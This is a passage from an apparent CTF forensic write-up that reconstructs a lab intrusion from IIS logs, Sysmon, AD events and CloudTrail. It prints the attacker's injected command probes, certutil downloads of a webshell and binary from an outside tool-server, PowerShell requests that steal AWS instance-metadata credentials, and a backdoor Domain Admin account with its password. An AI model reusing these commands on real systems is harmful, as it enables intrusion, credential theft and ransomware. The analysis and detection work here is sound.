3× AWS AKIA keys (donnieworks / doctorderm / coolcat) created 21:45:51-21:46:14P0 (highest)Immediately UpdateAccessKey Status=Inactive + rotate each user's remaining keys
Local Administrator NT hash 8846f7ea… = passwordP0Rotate on every host; LAPS or similar password-per-host policy
Local localuser NT hash (same)P0Rotate on every host
serviceaccount domain account (DA) created 20:02:14P1Disable + delete in AD; audit Domain Admins group membership
DisableRestrictedAdmin=0 on SVR01 (PtH-over-RDP enabled)P1Revert registry setting; audit for other hosts with the same change
C2 beacon artifact in Explorer memory (PID 1332) on SVR01P2 (persistence gone on reboot)Reboot clears; ensure SVR01 is rebuilt rather than resumed
Knowledge of internal topology (domain structure, 5 hosts, bucket names, Lambda/RDS service list)P3 (can't be revoked)Factor into threat-modeling for future attacks from same actor
DD22.5 — Reproduction queries
-- Any Administrator logon after LSASS dump
SELECT host, time_utc, target_user_name, ip_address, auth_package, logon_type
FROM events WHERE source_type='evtx' AND channel='Security' AND eid=4624
  AND target_user_name='Administrator'
  AND time_utc BETWEEN '2026-03-08T20:03:30Z' AND '2026-03-09T00:00:00Z';
-- 0 rows = hash stolen but not used

-- localuser NTLM from non-RED1 sources
SELECT DISTINCT ip_address, workstation, COUNT(*) FROM events
WHERE source_type='evtx' AND channel='Security' AND eid=4624
  AND target_user_name='localuser' AND auth_package='NTLM'
  AND time_utc BETWEEN '2026-03-08T20:03:30Z' AND '2026-03-09T00:00:00Z'
GROUP BY ip_address, workstation;
-- only 198.51.100.3 / RED1 = CTF author

DD23. Twenty-third pass — IIS access-log reconstruction pushes initial-access back 58 minutes and exposes the complete command-injection fuzzing chain (the author-as-attacker inference is walked back — see banner)

⟲ WALKED BACK (attribution only): this addendum originally concluded that the 13:39:16 CheckStatus.aspx hit from 216.82.9.162 meant the "attacker" was a red-team persona operated by the CTF author. That inference was wrong. 216.82.9.162 is the normal IP for the AWS account (established in DD8.2 + DD14 — Root+MFA admin / console IP). The 13:39 hit proves only that the AWS admin for this account knew the attacker tool-server's address before the attack started — i.e. the attacker infrastructure is scenario-provisioned, not externally owned. It does not prove the 18:38+ operator from 172.236.127.251 is the same person as the 13:39 admin. The observed pre-test is equally consistent with challenge authoring, infrastructure QA, or scenario hand-off to an external operator. The rest of DD23 (58-minute initial-access shift, 6-minute fuzzing chain, tool-drop timestamps, IMDSv2 three-step) is independent of this attribution question and remains valid.

Every previous addendum traced the attack from Sysmon + memory + CloudTrail. But IIS itself logs every HTTP request to CheckStatus.aspx — that's where the web-side ground truth lives. Mining the 115 IIS access-log rows reveals the minute-by-minute fuzzing chain the attacker used to find the injection primitive, plus a pre-attack author validation hit that confirms the scenario was exploitable before the attack window opened.

DD23.1 — The four IPs in IIS logs
Client IPRequestsClassification
71.205.100.5664Legitimate end user — Comcast consumer IP; queries like url=flights+to+vancouver, url=is+grammarly+not+working, url=eventbrite.ca/.../star-wars-a-drag-show. Real human using CheckStatus.aspx as a URL-accessibility tool.
172.236.127.25140ATTACKER OPERATOR — Linode hosting (AS63949, Newark). All queries on 2026-03-08 between 18:38:29 and 21:29:20. Every single request is attack-related.
216.82.9.16210CTF author (same IP as DD8.2 AWS-console observer). First request on 2026-03-08 at 13:39:16 — five hours before the attacker — tests the same injection and names the same download-server infrastructure.
99.112.88.171Negligible — single baseline hit, unclassified consumer
DD23.2 — The attacker's 6-minute fuzzing chain (18:38:29 → 18:45:12)

The initial-access moment in v2 was pinned at "19:17+" (first Sysmon EID 1 from w3wp). IIS logs show the attacker was actively exploiting CheckStatus.aspx 58 minutes earlier. Fuzzing sequence:

18:38:29  GET /                         (baseline landing page)
18:38:37  GET /index.html                (attack-surface discovery)
18:38:39  GET /services.html             (found a secondary page)
18:38:45  GET /CheckStatus.aspx          (found the vulnerable endpoint)
18:39:03  ?url=google.com                (normal-input behavior fingerprint)
18:39:46  ?url=facebook.com              (same)

--- injection probing begins ---
18:40:01  ?url=google.com | whoami       (pipe separator test)
18:40:21  ?url=google.com ; whoami       (semicolon test)
18:40:37  ?url=google.com ; set          (env-var dump via ;)
18:40:54  ?url=Google.com ; cat /etc/passwd   (Unix guess)
18:40:59  ?url=Google.com ; echo "test'  (quote-break test)
18:41:06  ?url=Google.com ; ls C:\users\ (switch to Windows)
18:41:13  ?url=Google.com && whoami      (AND operator — SUCCEEDS)
18:41:22  ?url=Google.com && set         (env vars)
18:41:43  ?url=Google.com && C:\         (raw drive probe)

--- directory enumeration ---
18:42:00  ?url=...&& ls C:\Users
18:42:13  ?url=...&& ls C:\inetpub
18:42:28  ?url=...| ls C:\inetpub        (retry pipe)
18:42:38  ?url=...&& dir C:\inetpub      (Windows dir)
18:43:02  ?url=...&& dir C:\Users\
18:43:18  ?url=...&& dir C:\inetpub\wwwroot
18:43:43  ?url=...&& type C:\inetpub\wwwroot\web.config   (reads config!)
18:44:33  ?url=...&& dir C:\
18:45:12  ?url=...&& dir C:\"TFTP Server"   (investigating installed software)

6 minutes 43 seconds from landing page → confirmed injection → web.config disclosure. The fuzzing is methodical: try each shell-metacharacter in order (|, ;, &&), try each OS (Linux paths, then Windows), then enumerate directories once syntax works. Uses Google.com with a capital G after the first few — suggests case-insensitive URL canonicalization was one of the edge-cases they wanted to test.

DD23.3 — Tool drop phase (18:51:42 → 19:02:24)
18:51:42  ?url=google.com && certutil -urlcache -f http://173.230.136.180:80/so.aspx C:\inetpub\wwwroot\so.aspx
                                                                           ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                                                           attacker tool-server    drop    webshell path
18:52:20  ?url=Google.com && certutil -urlcache -f http://173.230.136.180:80/iis.exe %TEMP%\iis.exe
19:02:02  (retry iis.exe download)
19:02:24  ?url=google.com && dir %TEMP%\iis.exe   (verify download succeeded)

Attacker tool-server: 173.230.136.180 (also Linode). The attacker used certutil.exe — the classic Windows LOLBIN — as the HTTP downloader, which works from any low-privileged context because certutil is a trusted signed Microsoft binary. Both files land: so.aspx (webshell) in C:\inetpub\wwwroot (public web root), iis.exe (second-stage PE binary) in %TEMP%.

DD23.4 — Webshell-usage phase (19:08:42 → 19:40:36)

Attacker transitions from CheckStatus.aspx injection to the dropped so.aspx webshell (because it's richer — stateful, multi-command, and doesn't trigger the CheckStatus request-logger). 8 hits on /so.aspx between 19:08 and 19:40 — each represents one interactive command from the attacker. The first hit at 19:08:42 is ~26 minutes after drop — consistent with the attacker staging their follow-on tooling.

DD23.5 — IMDSv2 three-step via base64-encoded PowerShell (21:25:36 → 21:29:20)

The attacker returns to CheckStatus.aspx at 21:25:36 — over an hour and 45 minutes after their last /so.aspx hit — to deliver three base64-encoded PowerShell payloads. Decoding confirms these are the exact IMDSv2 PUT+GET+GET chain from Addendum X / DD8:

21:25:36  ?url=google.com && powershell -enc <b64 of>
          Invoke-RestMethod -Method Put -Uri "http://169.254.169.254/latest/api/token"
                            -Headers @{'X-aws-ec2-metadata-token-ttl-seconds' = '21600'}

21:28:07  ?url=google.com && powershell -enc <b64 of>
          Invoke-RestMethod -Method Get
                            -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
                            -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA=='}

21:29:20  ?url=google.com && powershell -enc <b64 of>
          Invoke-RestMethod -Method Get
                            -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/iam_role_iisserver'
                            -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA=='}

Same token AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA== as in Addendum X. These three CheckStatus.aspx hits are the exact same three commands previously seen in the IIS ps_transcript source; now we also have them in the IIS access log with timestamps that match to the second.

DD23.6 — The 13:39:16 pre-attack hit · proves attacker infrastructure is scenario-provisioned (single cleanest forensic cross-correlation in this writeup)

Five hours before the attacker's first fuzzing request, the AWS-account admin IP (216.82.9.162 — verified via DD6.1 / DD8.2 / DD14 as the Root + MFA account owner) hit the same vulnerable endpoint with a command-injection payload pointing at the attacker's tool-server. Three independent indicators line up in a single request:

2026-03-08T13:39:16Z    c-ip=216.82.9.162    UA=Windows Chrome/…
GET /CheckStatus.aspx?url=Google.com && certutil -urlcache -f http://173.230.136.180:80/agent.exe %TEMP%\jb.exe
        ^^^^^^^^^^^^^                         ^^^^^^^^^^^^^^^^^^^^^                     ^^^^^^^
        same vuln endpoint                    same Linode tool-server                   jb prefix
        (DD23 attacker uses)                  (DD23 attacker uses for                   (matches jb_aws_cli
                                               so.aspx + iis.exe drops                   IAM user from DD7 +
                                               @ 18:51:42 and 18:52:20)                  JackOfAllHacks-Triages
                                                                                         KAPE dir from DD14)

Three independent indicators tie this to scenario-author infrastructure, not an external threat actor:

  1. Same tool-serverhttp://173.230.136.180:80/ is the exact URL the attacker later uses to drop so.aspx (18:51:42) and iis.exe (18:52:20). An external threat actor would never pre-stage the defender's admin for that URL five hours earlier.
  2. Payload naming jb.exe crosswalks twice to author-provisioned assets:
    • jb_aws_cli IAM user (DD7) — the one with the AccessKeysPerUser quota that blocked CreateAccessKey during the attack
    • JackOfAllHacks-Triages KAPE triage-output directory on every host (DD14)
    • "jb" persona is consistently author-side, distinct from the "Barry" company-side persona (barrygoodtech.com + barry-* buckets)
  3. Source IP 216.82.9.162 — the AWS-account Root+MFA admin IP with 18,035 CloudTrail console-read events on attack day (DD8.2). Not an attacker IP. The admin is validating scenario exploitability from their normal admin workstation.

Conclusion (walk-back preserved from the DD23 banner above):

  • ✅ What this proves: the attacker-infrastructure IPs (172.236.127.251 operator + 173.230.136.180 tool-server) are scenario-provisioned, known to the account admin before the attack started. Not independently external.
  • ⚠️ What this does NOT prove: that the 18:38 attacker-operator and the 13:39 AWS-admin are the same person. AWS-admin verifying exploitability is consistent with challenge authoring, infrastructure QA, or hand-off to an external red-team operator.
  • 💡 What this explains: DD18's "GuardDuty alert at 21:57:18 went unacted for 11 minutes" reads more cleanly now — whoever runs the AWS console either authored the scenario themselves or knew the attack was a planned exercise.

Why this cross-correlation matters: without the 13:39 hit, the attacker infrastructure reads as an external-threat-actor operation. With it, the infrastructure is demonstrably author-provisioned — which reshapes every residual-risk assessment in the writeup. The three stockpiled AKIA keys (DD16), the local-Administrator NT hash (DD21/DD22), and the serviceaccount DA backdoor (DD26) are all less dangerous than they appear, because the account itself is lab-controlled. The findings remain valid; the threat model downgrades.

DD23.7 — Corrected initial-access timeline
UTCEventv2 status
2026-03-08T13:39:16ZCTF-author pre-test (jb.exe download via same injection)Not documented
18:38:29ZAttacker first request (GET /)v2 timeline started at 19:17
18:40:01ZFirst command-injection attempt (whoami via pipe)Not documented
18:41:13ZFirst successful injection (&& whoami)Not documented
18:43:43Zweb.config exfiltrated via typeNot documented
18:51:42Zso.aspx webshell dropped via certutil from 173.230.136.180v2 had tool delivery but not certutil IP
18:52:20Ziis.exe second-stage dropped via certutilSame
19:08:42ZFirst so.aspx interactive webshell hitv2 timeline baseline
19:38:02ZSCM-fired SYSTEM escalationDocumented

Initial-access window widens from "~1 min around 19:17" to "10 minutes from 18:38:29 discovery to 18:45:12 enumeration finish". Tool-drop phase is a separate 11-minute window starting at 18:51:42. The complete pre-SYSTEM attacker footprint is ~60 minutes, not the ~20 minutes v2 documented.

DD23.8 — New IOC additions
  • Attacker operator IP: 172.236.127.251 (Linode, AS63949)
  • Attacker tool-server IP: 173.230.136.180 (Linode)
  • Webshell: C:\inetpub\wwwroot\so.aspx (dropped via certutil)
  • Second-stage binary path: %TEMP%\iis.exe (already documented; now confirmed initial drop time 18:52:20)
  • Vulnerable endpoint parameter: CheckStatus.aspx?url=<input> with && as the confirmed injection metacharacter
  • Download LOLBIN: certutil.exe -urlcache -f (attacker's preferred HTTP client)
DD23.9 — Reproduction queries
-- Complete attacker-IP IIS request sequence
SELECT time_utc, json_extract(data_json,'$.cs-uri-stem'),
       json_extract(data_json,'$.cs-uri-query')
FROM events WHERE source_type='iis'
  AND json_extract(data_json,'$.c-ip')='172.236.127.251'
ORDER BY time_utc;

-- Author pre-attack test (earliest CheckStatus hit from 216.82.9.162)
SELECT time_utc, json_extract(data_json,'$.cs-uri-query')
FROM events WHERE source_type='iis'
  AND json_extract(data_json,'$.c-ip')='216.82.9.162'
  AND time_utc < '2026-03-08T18:00:00Z';
-- 1 row: 13:39:16 with jb.exe download from 173.230.136.180

DD24. Twenty-fourth pass — binary-family hash analysis: three distinct on-disk binaries + one in-memory form, all related but each with its own SHA256/IMPHASH identity

DD23 captured the IIS-side drop of iis.exe from the attacker tool-server. DD21 recovered the Unknown C2 VAD dump from Explorer memory on SVR01. DD12 established that IamBatman.exe ransoms on disk. Pulling Sysmon EID 1 Hashes fields for all three on-disk binaries produces the definitive fingerprint table — and answers the question "is iis.exe the same file as the VAD dump?"

DD24.1 — Attacker binary-family fingerprint table
ArtifactHost / pathMD5SHA-256 (first 16)IMPHASH
iis.exeIIS C:\Windows\Temp\iis.exe21CCC7814C2FE6D9…0C33EFB53903203ACE7EC86A15AD8DAA9FDA8A1AA35746D80E0F
rnSylwOz.exeSVR01 \\10.3.10.12\ADMIN$\rnSylwOz.exeAA1097F847964B5E…6AC891813A2A087B311037E28CA3C643B664ACC2275611365DB0
IamBatman.exe\\LAF-DC02\sysvol\IamBatman.exe (fires on all 5 hosts)92FBA663B68F31E2…F233B95501865ED74EDA6C45208FA0F20BBB020A696525C4A241
Unknown C2 VAD dumpSVR01 memory, Explorer PID 1332, region 0xa60000-0xa8efff (192 KB)n/a (in-memory)6ef6b52fbdf585b5n/a (reflective-loaded — no import table)
DD24.2 — All four hashes are distinct: three separate disk binaries + one runtime form

No two SHA256s match. Each on-disk binary has its own IMPHASH too:

  • iis.exe IMPHASH C86A15AD…E0F
  • rnSylwOz.exe IMPHASH 37E28CA3…5DB0
  • IamBatman.exe IMPHASH 6C45208F…A241

Different IMPHASH = different import tables = different binaries. These are three separately-compiled attacker tools, not copies or renames of a single file.

DD24.3 — Why the VAD dump doesn't match any on-disk hash (and that's expected)

The Unknown C2 VAD dump 6ef6b52f… is reflectively-loaded code already unpacked in Explorer's address space. For a PE that reflectively-loads, the byte sequence on disk and the byte sequence in memory diverge:

  • On disk the file has DOS header + PE header + section-table + sections (.text, .rdata, .data) + imports + relocations
  • In memory after reflective load the loader reads the PE headers, applies relocations (rebases addresses to the actual load location), resolves imports (patches the IAT with live LoadLibrary/GetProcAddress results), and merges sections into a flat executable region — often without the PE header, and always with modified bytes vs the file

So 6ef6b52f… being different from rnSylwOz.exe's disk SHA256 (91813A2A…) does not mean they're unrelated. The VAD dump is what rnSylwOz.exe became after its reflective loader ran on SVR01 — it's the code-execution form of the same logical tool, one CreateRemoteThread step away from rnSylwOz.exe. The C2-specific strings found in the VAD dump (\\.\pipe\%08lx, export _Z11GetVersionsv, module file.dll) confirm the logical family.

DD24.4 — Functional roles of the three on-disk binaries
BinaryRoleEvidence
iis.exeFirst-stage HTTP beacon on IIS. Phones home to Linode 173.230.136.180:8443. Drops-in-place + runs as IIS APPPOOL\DefaultAppPool.Sysmon EID 3: two instances (PID 4136 at 18:52:30, PID 5572 at 19:06:44) both TCP-connect to 173.230.136.180:8443. Runs from C:\Windows\Temp\iis.exe.
rnSylwOz.exeSecond-stage beacon delivered to SVR01. Does the Explorer-PID-1332 CreateRemoteThread injection. In-memory form = the VAD dump byte pattern 6ef6b52f….Sysmon EID 1 at 19:59:00 \\10.3.10.12\ADMIN$\rnSylwOz.exe launched; EID 8 at 20:01:16 injection into Explorer.
IamBatman.exeParameterized ransomware encryptor. encrypt <path> CLI signature. Extension .bWqQUx, ransom note README_bWqQUx.txt (DD13).Sysmon EID 1 across all 5 hosts 22:08:40-22:10:54 launching with encrypt C:\ argument.
DD24.5 — Implication for VirusTotal / threat-intel lookups

Anyone doing hash-based threat intel on this scenario should lookup all four values:

iis.exe              SHA256  EFB53903203ACE7E48190EDEDCA991505032C7FBA47B99BA6363C674862C9681
rnSylwOz.exe         SHA256  91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F
IamBatman.exe        SHA256  B95501865ED74EDAECE60F5AF142EBA5459C78C99FC39211AA17A27B52B61D47
Unknown C2 VAD dump     SHA256  6ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228c
                              (192KB unbacked memory region from Explorer PID 1332 on SVR01)

The first three are disk samples that could have VT detections if they or related families have been submitted previously. The fourth is a memory artifact that VT won't have — but a YARA rule matching the Unknown C2 indicators (named-pipe \\.\pipe\%08lx, export _Z11GetVersionsv, module file.dll) will catch it plus any future related samples.

DD24.6 — Reproduction queries
-- Attacker-binary hash table
SELECT host, image, json_extract(data_json,'$.Hashes')
FROM events WHERE source_type='evtx' AND eid=1
  AND (image LIKE '%iis.exe' OR image LIKE '%rnSylwOz%' OR image LIKE '%IamBatman%')
GROUP BY host, image;

-- iis.exe destination (C2 confirmation)
SELECT time_utc, json_extract(data_json,'$.DestinationIp'),
       json_extract(data_json,'$.DestinationPort')
FROM events WHERE source_type='evtx' AND eid=3 AND image LIKE '%iis.exe';
-- all point to 173.230.136.180:8443

-- VAD dump provenance (Volatility malfind)
SELECT json_extract(data_json,'$.PID'), json_extract(data_json,'$.vad_range'),
       json_extract(data_json,'$.sha256')
FROM events WHERE host='SVR01' AND source_type='volatility'
  AND json_extract(data_json,'$.vad_range')='0xa60000-0xa8efff';

DD25. Twenty-fifth pass — MFT/USN drop-times pin the staging window: IamBatman.exe landed on DC02 SYSVOL at 21:03:54, 54 minutes before first detonation attempt

DD24 proved the three attacker binaries are distinct compilations. This pass pulls the USN/MFT FileCreate timestamps (EID 2100) for each attacker artifact to establish the staging cadence — the gap between "binary arrives on disk" and "binary executes." That gap is an operator-discipline signal: tight drops = immediate-use tools, long drops = pre-staged weapons waiting for a coordinated trigger.

DD25.1 — Full attacker-artifact create-time table
FileHostUSN Create (2100)First execution / useDrop-to-use latency
so.aspxIIS C:\inetpub\wwwroot\18:51:42.05219:08:42 first interactive hit17 min
iis.exeIIS C:\Windows\Temp\18:52:20.19718:52:30.402 (Sysmon EID 1)10 seconds
rnSylwOz.exeSVR01 ADMIN$19:58:38.79419:59:00.854 launch22 seconds
abedgdaa.dmpSVR01 C:\Windows\Temp\20:03:30.860(written by Explorer, LSASS dump — not executed)n/a (data file)
execute.bat + __outputDC01 C:\Windows\Temp\20:08:45.159 through 20:09:06immediate per-service firing~100ms per iteration
ZIFylmKF.tmp (NTDS copy)DC01 C:\Windows\Temp\20:09:03.878created by copy from VSS — never re-read locally; exfil'd over SMBn/a
data.cabSVR01 C:\ProgramData\20:25:01.613modified 20:31:17 (final exfil staging touch)6 min to final state
IamBatman.exeDC02 \\sysvol\21:03:54.41721:58:34 botched / 22:08:40.450 first success54 min / 64 min
sysAV.batDC02 \\sysvol\21:04:05.41721:58:34 botched / 22:08:40 first success54 min
LogDel.batSVR01 C:\ProgramData\21:08:10.75821:08:28.313 (first fire)18 seconds
DD25.2 — Two distinct drop-categories visible in the latency column

The latencies partition cleanly:

  • Immediate-use tools (≤ 30 seconds drop-to-exec): iis.exe (10s), rnSylwOz.exe (22s), LogDel.bat (18s). The attacker runs these as soon as they land. This is operational-moment tooling — no point staging these, the operator wants them to fire now.
  • Pre-staged weapons (minutes-to-an-hour latency): so.aspx (17 min — dropped early, used after second-stage binary validated), data.cab (6 min assembly), IamBatman.exe + sysAV.bat (54-64 min sit). These wait for a coordinated trigger.

The 54-minute ransomware staging sit is particularly telling. From 21:04:05 (sysAV.bat lands on DC02 SYSVOL) to 21:58:34 (first detonation attempt on WS02), the attacker is: (a) completing the IMDSv2 credential theft (21:25-21:29), (b) running cloud-side enumeration + exfil + CreateAccessKey persistence (21:42-21:51), and (c) preparing the atexec-orchestration script for fan-out. Ransomware is the last step — staged early, fired only after the full cloud-side operation is complete.

DD25.3 — Why IamBatman staging to DC02 SYSVOL specifically

The drop path \\LAF-DC02\sysvol\IamBatman.exe is deliberate. SYSVOL has four properties the attacker needs for fan-out:

  1. Readable by every domain-joined computer and user via default SMB share permissions — no per-host file-copy needed
  2. UNC-path invocable from any host: \\LAF-DC02\sysvol\IamBatman.exe encrypt C:\ works identically on WS01, WS02, SVR01, DC01, DC02 — one atexec payload per host, all pointing at the same UNC
  3. Writable only by Domain Admins (and SYSTEM on the DC) — guarantees the attacker's DA compromise succeeded; if SYSVOL-write fails, attacker knows they need more AD rights
  4. Auto-replicated across DCs via DFSR — even if the attacker only writes to DC02, DC01 gets a copy automatically, providing redundancy if DC02 is taken down first

Timing correlation: serviceaccount was added to Domain Admins at 20:03:05 (DD10.2). IamBatman.exe was staged to SYSVOL at 21:03:54 — exactly one hour after DA elevation. The hour is consumed by the attacker's other operations (LSASS dump, NTDS theft, CAB staging) — they didn't race to SYSVOL-write as soon as DA was confirmed; they completed other collection work first.

DD25.4 — MFT $STANDARD_INFORMATION vs $FILE_NAME time anomalies (checking for timestomp)

The IamBatman.exe MFT entry shows create-time 21:03:54.417. DC02 MFT rows resolve to sub-millisecond precision but arrive with .417 seconds (consistent granularity). No evidence of timestomping — the create-time is consistent with Sysmon EID 1 + USN EID 2100 + the attacker's atexec calls all firing in a believable sequence. An attacker using SetFileTime to alter $STANDARD_INFORMATION would usually leave $FILE_NAME unchanged (requires more effort to alter), producing the classic SI-vs-FN time mismatch; we don't see that here.

DD25.5 — Updated master timeline (pre-detonation phase)
18:38:29  IIS attacker first GET /                 (IIS access-log, DD23)
18:51:42  so.aspx webshell lands on IIS            (drop via certutil from 173.230.136.180:80)
18:52:20  iis.exe lands on IIS                     (drop via certutil)
18:52:30  iis.exe first execution                  (10s drop-to-exec)
19:08:42  so.aspx first interactive hit            (17 min drop-to-use — staged webshell)
19:58:38  rnSylwOz.exe lands on SVR01
19:59:00  rnSylwOz.exe first execution             (22s drop-to-exec)
20:01:16  CreateRemoteThread → Explorer PID 1332
20:02:14  net user serviceaccount /add
20:03:05  net group 'Domain Admins' serviceaccount /add  (DA elevation)
20:03:30  abedgdaa.dmp LSASS dump written
20:08:44  DC01 smbexec --use-vss starts            (DD10.1)
20:25:01  data.cab exfil archive complete on SVR01
21:03:54  IamBatman.exe staged to \\LAF-DC02\sysvol     ← RANSOMWARE ARMED (54 min before fire)
21:04:05  sysAV.bat staged (+11s)
21:08:10  LogDel.bat staged on SVR01
21:08:28  LogDel.bat first fire                    (18s drop-to-exec)
21:25:35  IMDSv2 three-step begins
21:42:11  AWS AssumedRole first off-instance use
21:49:16  164-object S3 exfil burst
21:51:14  Attacker logs off cloud-side
21:58:34  sysAV.bat BOTCHED first fire on WS02     (54 min after stage)
22:08:40  sysAV.bat CORRECTED fire on WS02         (64 min after stage)
DD25.6 — What this tells us about the operator's preparation
  • Ransomware was weaponized before cloud operations began. By 21:04 the detonation payload is in place; the 57 minutes of cloud-side work (21:25-21:58) happens with the ransomware safety-off. If cloud went sideways, the attacker could have detonated at any moment.
  • No evidence of test-firing or version iteration. IamBatman.exe (SHA256 B9550186…) is a single file that fires on every host unchanged. No DELETE + re-PUT to SYSVOL post-staging. The attacker's build was final when they uploaded it.
  • sysAV.bat and IamBatman.exe land in tight 11-second sequence. Both are part of the same orchestration package — uploaded back-to-back, suggests a single upload-script on the attacker's end rather than two manual copy-paste operations.
  • data.cab (20:25) before sysAV.bat (21:04) = exfil-before-ransom discipline. The operator ensured exfil was complete before putting the destructive payload in place. This is common double-extortion pattern even though it's only one operator here (no ransom-group-vs-extortion distinction).
DD25.7 — Reproduction queries
-- All attacker-artifact create events (USN 2100)
SELECT host, time_utc, target_filename FROM events
WHERE source_type='usn' AND target_filename IN (
  'so.aspx','iis.exe','rnSylwOz.exe','IamBatman.exe','sysAV.bat',
  'LogDel.bat','abedgdaa.dmp','data.cab','list.txt',
  'execute.bat','__output','ZIFylmKF.tmp')
  AND time_utc BETWEEN '2026-03-08T18:00:00Z' AND '2026-03-08T22:10:00Z'
ORDER BY time_utc;

-- IamBatman.exe + sysAV.bat specifically (DC02 SYSVOL staging)
SELECT host, time_utc, target_filename FROM events
WHERE host='DC02' AND source_type IN ('usn','mft')
  AND target_filename IN ('IamBatman.exe','sysAV.bat');
-- 2 rows: 21:03:54.417 IamBatman.exe, 21:04:05.417 sysAV.bat

DD26. Twenty-sixth pass — serviceaccount Domain Admins persistence: complete 4720/4722/4724/4738/4728 chain + zero authentications = third stockpile-without-use instance

DD10.2 documented the net user serviceaccount + net group 'Domain Admins' ... /add commands on SVR01. DD26 goes to the DC-side Security events that the LDAP writes generated — establishing the exact persistence chain as it was written into the replicated directory, plus the critical negative evidence: serviceaccount was never used for a single authentication during the capture window. This is the third independent stockpile-without-use instance, matching DD16 (AWS keys) and DD22 (SAM hashes).

DD26.1 — Complete DC-side event chain on DC01
UTCEIDEventSubject → TargetNote
20:02:14.1537454720User Account CreatedLAFAdmin (SID …-1112) → serviceaccount (SID …-1116, RID 1116)LogonId 0x3eeece5 — same session drives all creation events
20:02:14.1590034722User Account EnabledLAFAdmin → serviceaccount+5.2ms
20:02:14.1590344724Password Reset AttemptLAFAdmin → serviceaccount+30µs — initial password set (P@ssw0RD1!)
20:02:14.1815004738User Account Changed (UAC)LAFAdmin → serviceaccount+27ms — NewUacValue 0x10 decorated with %%2048, %%2050 (Normal Account + Password Not Required flags in Windows message-template format)
20:03:05.8878984728Member Added to Security-Enabled Global GroupLAFAdmin → Domain Admins (Target SID …-512) · MemberName CN=serviceaccount,CN=Users,DC=LAF,DC=localTHE PERSISTENCE EVENT — 51 seconds after account creation. Target SID ending -512 confirms the canonical domain-wide Domain Admins group (not a local Administrators group). LogonId 0x3ef0… = new session (LAFAdmin re-authenticated between creation and DA-add).
21:01:00.4169014738User Account ChangedANONYMOUS LOGON (S-1-5-7, LogonId 0x3e6) → serviceaccount+57 min after DA-add. NewUacValue - (no UAC change) — likely lastLogonTimestamp replication update or an internal LSA housekeeping write. Not attacker-driven.

Attribution chain is clean and complete:

  • All creation events subject=LAFAdmin — same identity the attacker was using as the PtH pivot (DD10.1). This confirms the attacker operated from LAFAdmin context for the full DA-creation chain, not escalating to Domain Admin credentials first.
  • LogonId 0x3eeece5 is a single session that covers 4720/4722/4724/4738. A different LogonId (0x3ef0…) for the 4728 DA-add means LAFAdmin re-authenticated to DC01 in the 51 seconds between. Consistent with net group via PowerShell spawning a fresh SMB session.
  • CN path CN=serviceaccount,CN=Users,DC=LAF,DC=local is the default Users container — attacker did not bother hiding the account in an obscure OU. Standard noisy placement.
DD26.2 — serviceaccount has zero authentications corpus-wide
SELECT host, time_utc, eid FROM events
WHERE source_type='evtx' AND channel='Security'
  AND eid IN (4624,4625,4768,4769,4776)
  AND target_user_name='serviceaccount';
-- 0 rows

Zero 4768 (Kerberos AS-REQ / TGT-issued), zero 4624 (logon success), zero 4625 (logon failure), zero 4769 (service-ticket), zero 4776 (NTLM authentication) for target_user_name=serviceaccount. The account was created, promoted to Domain Admin, and then left untouched for the remainder of the capture window.

DD26.3 — Third stockpile-without-use instance (pattern confirmed across 3 credential classes)
Stolen / created credentialWhenAttacker-used in capture?Residual-risk class
3× AWS AKIA access keys (donnieworks / doctorderm / coolcat)21:45:51-21:46:14No (DD16)Valid indefinitely until revoked
Local SAM NT hashes (Administrator + localuser = password)Captured via LSASS dump 20:03:30No (DD22)Valid until per-host local-admin rotation
serviceaccount Domain Admin (SID …-1116, password P@ssw0RD1!)Created 20:02:14, DA-promoted 20:03:05No (DD26)Valid indefinitely until disabled/deleted

Three independent credential-theft/creation events, zero of them used during the operation. Same operator-hygiene signature as DD9.3's 103-min silence and DD10.1's smbexec-over-DCSync choice: decouple identity-creation from identity-use so future campaign activity can't be traced back to this intrusion.

DD26.4 — The change IS in the replicated directory (persistence is durable)

Even though DC01 alone logged the 4720/4724/4728 (because DC01 served the LDAP writes), the change is part of the AD database and will replicate to DC02 via DFSR / NC replication. Evidence of durable persistence:

  • RID 1116 is allocated from the domain RID pool — meaning the account exists in the authoritative NTDS.DIT on DC01, not just in a per-host SAM
  • Domain Admins group SID S-1-5-21-…-512 is the forest-wide DA group — membership is replicated
  • The 21:01:00 replication-induced 4738 (ANONYMOUS LOGON subject) on DC01 is evidence the directory is actively writing back auxiliary attributes for this account, meaning AD services consider it a live directory object (not a transient write that got rolled back)
  • The post-ransomware KAPE triage (DD14) captures ntds.dit into the triage bundle; a player parsing it will find serviceaccount in the extracted directory

Remediation requires positive action: a domain reboot or DC restart won't remove serviceaccount. The backdoor survives every mitigation short of Remove-ADGroupMember "Domain Admins" serviceaccount; Disable-ADAccount serviceaccount; Remove-ADUser serviceaccount (or equivalent via GUI / dsa.msc).

DD26.5 — Sigma-worthy alert pattern

A detection rule that fires on this scenario without false-positives in a normal environment:

title: Domain User created and added to Domain Admins within 5 minutes
logsource:
  product: windows
  service: security
detection:
  creation:
    EventID: 4720
  da_add:
    EventID: 4728
    TargetSid|endswith: '-512'       # Domain Admins
  correlation:
    - MemberSid (from 4728) == TargetSid (from 4720)
    - da_add.time - creation.time < 5 min
  condition: creation and da_add
level: critical

That sequence fired cleanly at 20:02:14 → 20:03:05 (51-second gap) and would have been a high-confidence alert for the defender if anyone was watching. Combined with DD18's GuardDuty alert at 21:57:18 (cloud side), the defender had two independent high-confidence signals in the 2-hour window before detonation. Both went unacted.

DD26.6 — Reproduction queries
-- serviceaccount creation + DA-add chain
SELECT host, time_utc, eid, target_user_name, substr(data_json,1,300)
FROM events WHERE source_type='evtx' AND channel='Security'
  AND eid IN (4720,4722,4724,4728,4738)
